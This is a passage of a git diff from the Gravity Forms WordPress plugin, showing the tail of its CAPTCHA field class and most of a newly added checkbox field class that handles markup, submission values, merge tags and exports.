if ( GFCommon::is_ssl() && strpos( $url, 'http:' ) !== false ) {
|
||||
$url = str_replace( 'http:', 'https:', $url );
|
||||
}
|
||||
|
||||
return array( 'path' => $path, 'url' => $url, 'height' => $captcha->img_size[1], 'width' => $captcha->img_size[0], 'prefix' => $prefix );
|
||||
}
|
||||
|
||||
public function get_simple_captcha() {
|
||||
$captcha = new ReallySimpleCaptcha();
|
||||
$captcha->tmp_dir = RGFormsModel::get_upload_path( 'captcha' ) . '/';
|
||||
|
||||
return $captcha;
|
||||
}
|
||||
|
||||
public function get_math_captcha( $pos ) {
|
||||
if ( ! class_exists( 'ReallySimpleCaptcha' ) ) {
|
||||
return array();
|
||||
}
|
||||
|
||||
$captcha = $this->get_simple_captcha();
|
||||
|
||||
//If captcha folder does not exist and can't be created, return an empty captcha
|
||||
if ( ! wp_mkdir_p( $captcha->tmp_dir ) ) {
|
||||
return array();
|
||||
}
|
||||
|
||||
$captcha->char_length = 1;
|
||||
if ( $pos == 1 || $pos == 3 ) {
|
||||
$captcha->chars = '0123456789';
|
||||
} else {
|
||||
$captcha->chars = '+';
|
||||
}
|
||||
|
||||
switch ( $this->simpleCaptchaSize ) {
|
||||
case 'small' :
|
||||
$captcha->img_size = array( 23, 28 );
|
||||
$captcha->font_size = 18;
|
||||
$captcha->base = array( 6, 20 );
|
||||
$captcha->font_char_width = 17;
|
||||
|
||||
break;
|
||||
|
||||
case 'large' :
|
||||
$captcha->img_size = array( 36, 56 );
|
||||
$captcha->font_size = 32;
|
||||
$captcha->base = array( 10, 42 );
|
||||
$captcha->font_char_width = 35;
|
||||
break;
|
||||
|
||||
default :
|
||||
$captcha->img_size = array( 30, 42 );
|
||||
$captcha->font_size = 26;
|
||||
$captcha->base = array( 9, 32 );
|
||||
$captcha->font_char_width = 25;
|
||||
break;
|
||||
}
|
||||
|
||||
if ( ! empty( $this->simpleCaptchaFontColor ) ) {
|
||||
$captcha->fg = $this->hex2rgb( $this->simpleCaptchaFontColor );
|
||||
}
|
||||
if ( ! empty( $this->simpleCaptchaBackgroundColor ) ) {
|
||||
$captcha->bg = $this->hex2rgb( $this->simpleCaptchaBackgroundColor );
|
||||
}
|
||||
|
||||
$word = $captcha->generate_random_word();
|
||||
$prefix = mt_rand();
|
||||
$filename = $captcha->generate_image( $prefix, $word );
|
||||
$url = RGFormsModel::get_upload_url( 'captcha' ) . '/' . $filename;
|
||||
$path = $captcha->tmp_dir . $filename;
|
||||
|
||||
if ( GFCommon::is_ssl() && strpos( $url, 'http:' ) !== false ) {
|
||||
$url = str_replace( 'http:', 'https:', $url );
|
||||
}
|
||||
|
||||
return array( 'path' => $path, 'url' => $url, 'height' => $captcha->img_size[1], 'width' => $captcha->img_size[0], 'prefix' => $prefix );
|
||||
}
|
||||
|
||||
private function hex2rgb( $color ) {
|
||||
if ( $color[0] == '#' ) {
|
||||
$color = substr( $color, 1 );
|
||||
}
|
||||
|
||||
if ( strlen( $color ) == 6 ) {
|
||||
list( $r, $g, $b ) = array(
|
||||
$color[0] . $color[1],
|
||||
$color[2] . $color[3],
|
||||
$color[4] . $color[5],
|
||||
);
|
||||
} elseif ( strlen( $color ) == 3 ) {
|
||||
list( $r, $g, $b ) = array( $color[0] . $color[0], $color[1] . $color[1], $color[2] . $color[2] );
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
|
||||
$r = hexdec( $r );
|
||||
$g = hexdec( $g );
|
||||
$b = hexdec( $b );
|
||||
|
||||
return array( $r, $g, $b );
|
||||
}
|
||||
|
||||
public function create_recaptcha_secure_token( $secret_key ) {
|
||||
|
||||
$secret_key = substr( hash( 'sha1', $secret_key, true ), 0, 16 );
|
||||
$session_id = uniqid( 'recaptcha' );
|
||||
$ts_ms = round( ( microtime( true ) - 1 ) * 1000 );
|
||||
|
||||
//create json string
|
||||
$params = array( 'session_id' => $session_id, 'ts_ms' => $ts_ms );
|
||||
$plaintext = json_encode( $params );
|
||||
GFCommon::log_debug( 'recaptcha token parameters: ' . $plaintext );
|
||||
|
||||
//pad json string
|
||||
$pad = 16 - ( strlen( $plaintext ) % 16 );
|
||||
$padded = $plaintext . str_repeat( chr( $pad ), $pad );
|
||||
|
||||
//encrypt as 128
|
||||
$cypher = defined( 'MCRYPT_RIJNDAEL_128' ) ? MCRYPT_RIJNDAEL_128 : false;
|
||||
$encrypted = GFCommon::encrypt( $padded, $secret_key, $cypher );
|
||||
|
||||
$token = str_replace( array( '+', '/', '=' ), array( '-', '_', '' ), $encrypted );
|
||||
GFCommon::log_debug( ' token being used is: ' . $token );
|
||||
|
||||
return $token;
|
||||
}
|
||||
|
||||
public function use_stoken() {
|
||||
// 'gform_recaptcha_keys_status' will be set to true if new keys have been entered
|
||||
return ! get_option( 'gform_recaptcha_keys_status', false );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_CAPTCHA() );
|
||||
852
includes/fields/class-gf-field-checkbox.php
Normal file
852
includes/fields/class-gf-field-checkbox.php
Normal file
@@ -0,0 +1,852 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
class GF_Field_Checkbox extends GF_Field {
|
||||
|
||||
/**
|
||||
* @var string $type The field type.
|
||||
*/
|
||||
public $type = 'checkbox';
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// # FORM EDITOR & FIELD MARKUP -------------------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Returns the field title.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_form_editor_field_title() {
|
||||
|
||||
return esc_attr__( 'Checkboxes', 'gravityforms' );
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* The class names of the settings which should be available on the field in the form editor.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function get_form_editor_field_settings() {
|
||||
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'choices_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
'select_all_choices_setting',
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Indicate if this field type can be used when configuring conditional logic rules.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function is_conditional_logic_supported() {
|
||||
|
||||
return true;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the field inner markup.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @param array $form The Form Object currently being processed.
|
||||
* @param string|array $value The field value. From default/dynamic population, $_POST, or a resumed incomplete submission.
|
||||
* @param null|array $entry Null or the Entry Object currently being edited.
|
||||
*
|
||||
* @uses GF_Field::is_entry_detail()
|
||||
* @uses GF_Field::is_form_editor()
|
||||
* @uses GF_Field_Checkbox::get_checkbox_choices()
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
|
||||
$form_id = absint( $form['id'] );
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
return sprintf(
|
||||
"<div class='ginput_container ginput_container_checkbox'><ul class='gfield_checkbox' id='%s'>%s</ul></div>",
|
||||
esc_attr( $field_id ),
|
||||
$this->get_checkbox_choices( $value, $disabled_text, $form_id )
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// # SUBMISSION -----------------------------------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Retrieve the field value on submission.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @param array $field_values The dynamic population parameter names with their corresponding values to be populated.
|
||||
* @param bool|true $get_from_post_global_var Whether to get the value from the $_POST array as opposed to $field_values.
|
||||
*
|
||||
* @uses GFFormsModel::choice_value_match()
|
||||
* @uses GFFormsModel::get_parameter_value()
|
||||
*
|
||||
* @return array|string
|
||||
*/
|
||||
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
|
||||
|
||||
// Get parameter values for field.
|
||||
$parameter_values = GFFormsModel::get_parameter_value( $this->inputName, $field_values, $this );
|
||||
|
||||
// If parameter values exist but are not an array, convert to array.
|
||||
if ( ! empty( $parameter_values ) && ! is_array( $parameter_values ) ) {
|
||||
$parameter_values = explode( ',', $parameter_values );
|
||||
}
|
||||
|
||||
// If no inputs are defined, return an empty string.
|
||||
if ( ! is_array( $this->inputs ) ) {
|
||||
return '';
|
||||
}
|
||||
|
||||
// Set initial choice index.
|
||||
$choice_index = 0;
|
||||
|
||||
// Initialize submission value array.
|
||||
$value = array();
|
||||
|
||||
// Loop through field inputs.
|
||||
foreach ( $this->inputs as $input ) {
|
||||
|
||||
if ( ! empty( $_POST[ 'is_submit_' . $this->formId ] ) && $get_from_post_global_var ) {
|
||||
|
||||
$input_value = rgpost( 'input_' . str_replace( '.', '_', strval( $input['id'] ) ) );
|
||||
|
||||
if ( is_array( $input_value ) ) {
|
||||
$input_value = '';
|
||||
}
|
||||
|
||||
$value[ strval( $input['id'] ) ] = $input_value;
|
||||
|
||||
} else {
|
||||
|
||||
if ( is_array( $parameter_values ) ) {
|
||||
|
||||
foreach ( $parameter_values as $item ) {
|
||||
|
||||
$item = trim( $item );
|
||||
|
||||
if ( GFFormsModel::choice_value_match( $this, $this->choices[ $choice_index ], $item ) ) {
|
||||
$value[ $input['id'] . '' ] = $item;
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Increase choice index.
|
||||
$choice_index ++;
|
||||
|
||||
}
|
||||
|
||||
return $value;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// # ENTRY RELATED --------------------------------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Format the entry value for display on the entries list page.
|
||||
*
|
||||
* Return a value that's safe to display on the page.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @param string|array $value The field value.
|
||||
* @param array $entry The Entry Object currently being processed.
|
||||
* @param string $field_id The field or input ID currently being processed.
|
||||
* @param array $columns The properties for the columns being displayed on the entry list page.
|
||||
* @param array $form The Form Object currently being processed.
|
||||
*
|
||||
* @uses GFCommon::implode_non_blank()
|
||||
* @uses GFCommon::prepare_post_category_value()
|
||||
* @uses GFCommon::selection_display()
|
||||
* @uses GF_Field_Checkbox::is_checkbox_checked()
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
|
||||
|
||||
// If this is the main checkbox field (not an input), display a comma separated list of all inputs.
|
||||
if ( absint( $field_id ) == $field_id ) {
|
||||
|
||||
$lead_field_keys = array_keys( $entry );
|
||||
$items = array();
|
||||
|
||||
foreach ( $lead_field_keys as $input_id ) {
|
||||
if ( is_numeric( $input_id ) && absint( $input_id ) == $field_id ) {
|
||||
$items[] = GFCommon::selection_display( rgar( $entry, $input_id ), null, $entry['currency'], false );
|
||||
}
|
||||
}
|
||||
|
||||
$value = GFCommon::implode_non_blank( ', ', $items );
|
||||
|
||||
// Special case for post category checkbox fields.
|
||||
if ( $this->type == 'post_category' ) {
|
||||
$value = GFCommon::prepare_post_category_value( $value, $this, 'entry_list' );
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
$value = '';
|
||||
|
||||
if ( ! rgblank( $this->is_checkbox_checked( $field_id, $columns[ $field_id ]['label'], $entry ) ) ) {
|
||||
$value = "<i class='fa fa-check gf_valid'></i>";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return $value;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Format the entry value for display on the entry detail page and for the {all_fields} merge tag.
|
||||
*
|
||||
* Return a value that's safe to display for the context of the given $format.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @param string|array $value The field value.
|
||||
* @param string $currency The entry currency code.
|
||||
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
|
||||
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
|
||||
* @param string $media The location where the value will be displayed. Possible values: screen or email.
|
||||
*
|
||||
* @uses GFCommon::selection_display()
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
|
||||
if ( is_array( $value ) ) {
|
||||
|
||||
$items = '';
|
||||
|
||||
foreach ( $value as $key => $item ) {
|
||||
if ( ! rgblank( $item ) ) {
|
||||
switch ( $format ) {
|
||||
case 'text' :
|
||||
$items .= GFCommon::selection_display( $item, $this, $currency, $use_text ) . ', ';
|
||||
break;
|
||||
|
||||
default:
|
||||
$items .= '<li>' . GFCommon::selection_display( $item, $this, $currency, $use_text ) . '</li>';
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ( empty( $items ) ) {
|
||||
return '';
|
||||
} elseif ( $format == 'text' ) {
|
||||
return substr( $items, 0, strlen( $items ) - 2 ); // Removing last comma.
|
||||
} else {
|
||||
return "<ul class='bulleted'>$items</ul>";
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
return $value;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets merge tag values.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GFCommon::to_money()
|
||||
* @uses GFCommon::format_post_category()
|
||||
* @uses GFFormsModel::is_field_hidden()
|
||||
* @uses GFFormsModel::get_choice_text()
|
||||
* @uses GFCommon::format_variable_value()
|
||||
* @uses GFCommon::implode_non_blank()
|
||||
*
|
||||
* @param array|string $value The value of the input.
|
||||
* @param string $input_id The input ID to use.
|
||||
* @param array $entry The Entry Object.
|
||||
* @param array $form The Form Object
|
||||
* @param string $modifier The modifier passed.
|
||||
* @param array|string $raw_value The raw value of the input.
|
||||
* @param bool $url_encode If the result should be URL encoded.
|
||||
* @param bool $esc_html If the HTML should be escaped.
|
||||
* @param string $format The format that the value should be.
|
||||
* @param bool $nl2br If the nl2br function should be used.
|
||||
*
|
||||
* @uses GFCommon::format_post_category()
|
||||
* @uses GFCommon::format_variable_value()
|
||||
* @uses GFCommon::implode_non_blank()
|
||||
* @uses GFCommon::to_money()
|
||||
* @uses GFFormsModel::is_field_hidden()
|
||||
*
|
||||
* @return string The processed merge tag.
|
||||
*/
|
||||
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
|
||||
|
||||
// Check for passed modifiers.
|
||||
$use_value = $modifier == 'value';
|
||||
$use_price = in_array( $modifier, array( 'price', 'currency' ) );
|
||||
$format_currency = $modifier == 'currency';
|
||||
|
||||
if ( is_array( $raw_value ) && (string) intval( $input_id ) != $input_id ) {
|
||||
$items = array( $input_id => $value ); // Float input IDs. (i.e. 4.1 ). Used when targeting specific checkbox items.
|
||||
} elseif ( is_array( $raw_value ) ) {
|
||||
$items = $raw_value;
|
||||
} else {
|
||||
$items = array( $input_id => $raw_value );
|
||||
}
|
||||
|
||||
$ary = array();
|
||||
|
||||
// Get the items available within the merge tags.
|
||||
foreach ( $items as $input_id => $item ) {
|
||||
|
||||
// If the 'value' modifier was passed.
|
||||
if ( $use_value ) {
|
||||
|
||||
list( $val, $price ) = rgexplode( '|', $item, 2 );
|
||||
|
||||
// If the 'price' or 'currency' modifiers were passed.
|
||||
} elseif ( $use_price ) {
|
||||
|
||||
list( $name, $val ) = rgexplode( '|', $item, 2 );
|
||||
|
||||
if ( $format_currency ) {
|
||||
$val = GFCommon::to_money( $val, rgar( $entry, 'currency' ) );
|
||||
}
|
||||
|
||||
// If this is a post category checkbox.
|
||||
} else if ( $this->type == 'post_category' ) {
|
||||
|
||||
$use_id = strtolower( $modifier ) == 'id';
|
||||
$item_value = GFCommon::format_post_category( $item, $use_id );
|
||||
|
||||
$val = GFFormsModel::is_field_hidden( $form, $this, array(), $entry ) ? '' : $item_value;
|
||||
|
||||
// If no modifiers were passed.
|
||||
} else {
|
||||
|
||||
$val = GFFormsModel::is_field_hidden( $form, $this, array(), $entry ) ? '' : RGFormsModel::get_choice_text( $this, $raw_value, $input_id );
|
||||
|
||||
}
|
||||
|
||||
$ary[] = GFCommon::format_variable_value( $val, $url_encode, $esc_html, $format );
|
||||
|
||||
}
|
||||
|
||||
return GFCommon::implode_non_blank( ', ', $ary );
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitize and format the value before it is saved to the Entry Object.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @param string $value The value to be saved.
|
||||
* @param array $form The Form Object currently being processed.
|
||||
* @param string $input_name The input name used when accessing the $_POST.
|
||||
* @param int $lead_id The ID of the Entry currently being processed.
|
||||
* @param array $lead The Entry Object currently being processed.
|
||||
*
|
||||
* @uses GF_Field_Checkbox::sanitize_entry_value()
|
||||
*
|
||||
* @return array|string The safe value.
|
||||
*/
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
|
||||
if ( rgblank( $value ) ) {
|
||||
|
||||
return '';
|
||||
|
||||
} elseif ( is_array( $value ) ) {
|
||||
|
||||
foreach ( $value as &$v ) {
|
||||
|
||||
if ( is_array( $v ) ) {
|
||||
$v = '';
|
||||
}
|
||||
|
||||
$v = $this->sanitize_entry_value( $v, $form['id'] );
|
||||
|
||||
}
|
||||
|
||||
return implode( ',', $value );
|
||||
|
||||
} else {
|
||||
|
||||
return $this->sanitize_entry_value( $value, $form['id'] );
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Format the entry value before it is used in entry exports and by framework add-ons using GFAddOn::get_field_value().
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @param array $entry The entry currently being processed.
|
||||
* @param string $input_id The field or input ID.
|
||||
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
|
||||
* @param bool|false $is_csv Is the value going to be used in the .csv entries export?
|
||||
*
|
||||
* @uses GFCommon::get_label()
|
||||
* @uses GFCommon::selection_display()
|
||||
* @uses GF_Field_Checkbox::is_checkbox_checked()
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
|
||||
|
||||
if ( empty( $input_id ) || absint( $input_id ) == $input_id ) {
|
||||
|
||||
$selected = array();
|
||||
|
||||
foreach ( $this->inputs as $input ) {
|
||||
|
||||
$index = (string) $input['id'];
|
||||
|
||||
if ( ! rgempty( $index, $entry ) ) {
|
||||
$selected[] = GFCommon::selection_display( rgar( $entry, $index ), $this, rgar( $entry, 'currency' ), $use_text );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return implode( ', ', $selected );
|
||||
|
||||
} else if ( $is_csv ) {
|
||||
|
||||
$value = $this->is_checkbox_checked( $input_id, GFCommon::get_label( $this, $input_id ), $entry );
|
||||
|
||||
return empty( $value ) ? '' : $value;
|
||||
|
||||
} else {
|
||||
|
||||
return GFCommon::selection_display( rgar( $entry, $input_id ), $this, rgar( $entry, 'currency' ), $use_text );
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// # INPUT ATTRIBUTE HELPERS ----------------------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Get checkbox choice inputs for field.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @param string|array $value The field value. From default/dynamic population, $_POST, or a resumed incomplete submission.
|
||||
* @param string $disabled_text The HTML disabled attribute.
|
||||
* @param int $form_id The current form ID.
|
||||
*
|
||||
* @uses GFCommon::to_number()
|
||||
* @uses GF_Field::get_conditional_logic_event()
|
||||
* @uses GF_Field::get_tabindex()
|
||||
* @uses GF_Field::is_entry_detail()
|
||||
* @uses GF_Field::is_form_editor()
|
||||
* @uses GFFormsModel::choice_value_match()
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_checkbox_choices( $value, $disabled_text, $form_id = 0 ) {
|
||||
|
||||
$choices = '';
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
if ( is_array( $this->choices ) ) {
|
||||
|
||||
$choice_number = 1;
|
||||
$count = 1;
|
||||
|
||||
// Add Select All choice.
|
||||
if ( $this->enableSelectAll ) {
|
||||
|
||||
/**
|
||||
* Modify the "Select All" checkbox label.
|
||||
*
|
||||
* @since 2.3
|
||||
*
|
||||
* @param string $select_label The "Select All" label.
|
||||
* @param object $field The field currently being processed.
|
||||
*/
|
||||
$select_label = gf_apply_filters( array( 'gform_checkbox_select_all_label', $this->formId, $this->id ), esc_html__( 'Select All', 'gravityforms' ), $this );
|
||||
$select_label = esc_html( $select_label );
|
||||
|
||||
/**
|
||||
* Modify the "Deselect All" checkbox label.
|
||||
*
|
||||
* @since 2.3
|
||||
*
|
||||
* @param string $deselect_label The "Deselect All" label.
|
||||
* @param object $field The field currently being processed.
|
||||
*/
|
||||
$deselect_label = gf_apply_filters( array( 'gform_checkbox_deselect_all_label', $this->formId, $this->id ), esc_html__( 'Deselect All', 'gravityforms' ), $this );
|
||||
$deselect_label = esc_html( $deselect_label );
|
||||
|
||||
// Get tabindex.
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
// Prepare choice ID.
|
||||
$id = 'choice_' . $this->id . '_select_all';
|
||||
|
||||
// Prepare choice markup.
|
||||
$choice_markup = "<li class='gchoice_select_all'>
|
||||
<input type='checkbox' id='{$id}' {$tabindex} {$disabled_text} onclick='gformToggleCheckboxes( this )' onkeypress='gformToggleCheckboxes( this )' />
|
||||
<label for='{$id}' id='label_" . $this->id . "_select_all' data-label-select='{$select_label}' data-label-deselect='{$deselect_label}'>{$select_label}</label>
|
||||
</li>";
|
||||
|
||||
/**
|
||||
* Override the default choice markup used when rendering radio button, checkbox and drop down type fields.
|
||||
*
|
||||
* @since 1.9.6
|
||||
*
|
||||
* @param string $choice_markup The string containing the choice markup to be filtered.
|
||||
* @param array $choice An associative array containing the choice properties.
|
||||
* @param object $field The field currently being processed.
|
||||
* @param string $value The value to be selected if the field is being populated.
|
||||
*/
|
||||
$choices .= gf_apply_filters( array( 'gform_field_choice_markup_pre_render', $this->formId, $this->id ), $choice_markup, array(), $this, $value );
|
||||
|
||||
}
|
||||
|
||||
// Loop through field choices.
|
||||
foreach ( $this->choices as $choice ) {
|
||||
|
||||
// Hack to skip numbers ending in 0, so that 5.1 doesn't conflict with 5.10.
|
||||
if ( $choice_number % 10 == 0 ) {
|
||||
$choice_number ++;
|
||||
}
|
||||
|
||||
// Prepare input ID.
|
||||
$input_id = $this->id . '.' . $choice_number;
|
||||
|
||||
if ( $is_entry_detail || $is_form_editor || $form_id == 0 ) {
|
||||
$id = $this->id . '_' . $choice_number ++;
|
||||
} else {
|
||||
$id = $form_id . '_' . $this->id . '_' . $choice_number ++;
|
||||
}
|
||||
|
||||
if ( ( $is_form_editor || ( ! isset( $_GET['gf_token'] ) && empty( $_POST ) ) ) && rgar( $choice, 'isSelected' ) ) {
|
||||
$checked = "checked='checked'";
|
||||
} elseif ( is_array( $value ) && GFFormsModel::choice_value_match( $this, $choice, rgget( $input_id, $value ) ) ) {
|
||||
$checked = "checked='checked'";
|
||||
} elseif ( ! is_array( $value ) && GFFormsModel::choice_value_match( $this, $choice, $value ) ) {
|
||||
$checked = "checked='checked'";
|
||||
} else {
|
||||
$checked = '';
|
||||
}
|
||||
|
||||
$logic_event = $this->get_conditional_logic_event( 'click' );
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
$choice_value = $choice['value'];
|
||||
|
||||
if ( $this->enablePrice ) {
|
||||
$price = rgempty( 'price', $choice ) ? 0 : GFCommon::to_number( rgar( $choice, 'price' ) );
|
||||
$choice_value .= '|' . $price;
|
||||
}
|
||||
|
||||
$choice_value = esc_attr( $choice_value );
|
||||
$choice_markup = "<li class='gchoice_{$id}'>
|
||||
<input name='input_{$input_id}' type='checkbox' $logic_event value='{$choice_value}' {$checked} id='choice_{$id}' {$tabindex} {$disabled_text} />
|
||||
<label for='choice_{$id}' id='label_{$id}'>{$choice['text']}</label>
|
||||
</li>";
|
||||
|
||||
/**
|
||||
* Override the default choice markup used when rendering radio button, checkbox and drop down type fields.
|
||||
*
|
||||
* @since 1.9.6
|
||||
*
|
||||
* @param string $choice_markup The string containing the choice markup to be filtered.
|
||||
* @param array $choice An associative array containing the choice properties.
|
||||
* @param object $field The field currently being processed.
|
||||
* @param string $value The value to be selected if the field is being populated.
|
||||
*/
|
||||
$choices .= gf_apply_filters( array( 'gform_field_choice_markup_pre_render', $this->formId, $this->id ), $choice_markup, $choice, $this, $value );
|
||||
|
||||
$is_admin = $is_entry_detail || $is_form_editor;
|
||||
|
||||
if ( $is_admin && rgget('view') != 'entry' && $count >= 5 ) {
|
||||
break;
|
||||
}
|
||||
|
||||
$count ++;
|
||||
|
||||
}
|
||||
|
||||
$total = sizeof( $this->choices );
|
||||
|
||||
if ( $count < $total ) {
|
||||
$choices .= "<li class='gchoice_total'>" . sprintf( esc_html__( '%d of %d items shown. Edit field to view all', 'gravityforms' ), $count, $total ) . '</li>';
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Modify the checkbox items before they are added to the checkbox list.
|
||||
*
|
||||
* @since Unknown
|
||||
*
|
||||
* @param string $choices The string containing the choices to be filtered.
|
||||
* @param object $field Ahe field currently being processed.
|
||||
*/
|
||||
return gf_apply_filters( array( 'gform_field_choices', $this->formId, $this->id ), $choices, $this );
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine if a specific checkbox is checked.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @param int $field_id Field ID.
|
||||
* @param string $field_label Field label.
|
||||
* @param array $entry Entry object.
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function is_checkbox_checked( $field_id, $field_label, $entry ) {
|
||||
|
||||
$allowed_tags = wp_kses_allowed_html( 'post' );
|
||||
|
||||
$entry_field_keys = array_keys( $entry );
|
||||
|
||||
// Looping through lead detail values trying to find an item identical to the column label. Mark with a tick if found.
|
||||
foreach ( $entry_field_keys as $input_id ) {
|
||||
|
||||
// Mark as a tick if input label (from form meta) is equal to submitted value (from lead)
|
||||
if ( is_numeric( $input_id ) && absint( $input_id ) == absint( $field_id ) ) {
|
||||
|
||||
$sanitized_value = wp_kses( $entry[ $input_id ], $allowed_tags );
|
||||
$sanitized_label = wp_kses( $field_label, $allowed_tags );
|
||||
|
||||
if ( $sanitized_value == $sanitized_label ) {
|
||||
|
||||
return $entry[ $input_id ];
|
||||
|
||||
} else {
|
||||
|
||||
if ( $this->enableChoiceValue || $this->enablePrice ) {
|
||||
|
||||
foreach ( $this->choices as $choice ) {
|
||||
|
||||
if ( $choice['value'] == $entry[ $field_id ] ) {
|
||||
|
||||
return $choice['value'];
|
||||
|
||||
} else if ( $this->enablePrice ) {
|
||||
|
||||
$ary = explode( '|', $entry[ $field_id ] );
|
||||
$val = count( $ary ) > 0 ? $ary[0] : '';
|
||||
$price = count( $ary ) > 1 ? $ary[1] : '';
|
||||
|
||||
if ( $val == $choice['value'] ) {
|
||||
return $choice['value'];
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return false;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// # OTHER HELPERS --------------------------------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Returns the input ID to be assigned to the field label for attribute.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @param array $form The Form Object currently being processed.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_first_input_id( $form ) {
|
||||
|
||||
return '';
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Retrieve the field default value.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GFCommon::replace_variables_prepopulate()
|
||||
* @uses GF_Field::is_form_editor()
|
||||
*
|
||||
* @return array|string
|
||||
*/
|
||||
public function get_value_default() {
|
||||
|
||||
return $this->is_form_editor() ? $this->defaultValue : GFCommon::replace_variables_prepopulate( $this->defaultValue );
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// # SANITIZATION ---------------------------------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* If the field should allow html tags to be saved with the entry value. Default is false.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function allow_html() {
|
||||
|
||||
return true;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Forces settings into expected values while saving the form object.
|
||||
*
|
||||
* No escaping should be done at this stage to prevent double escaping on output.
|
||||
*
|
||||
* Currently called only for forms created after version 1.9.6.10.
|
||||
*
|
||||
* @since Unknown
|
||||
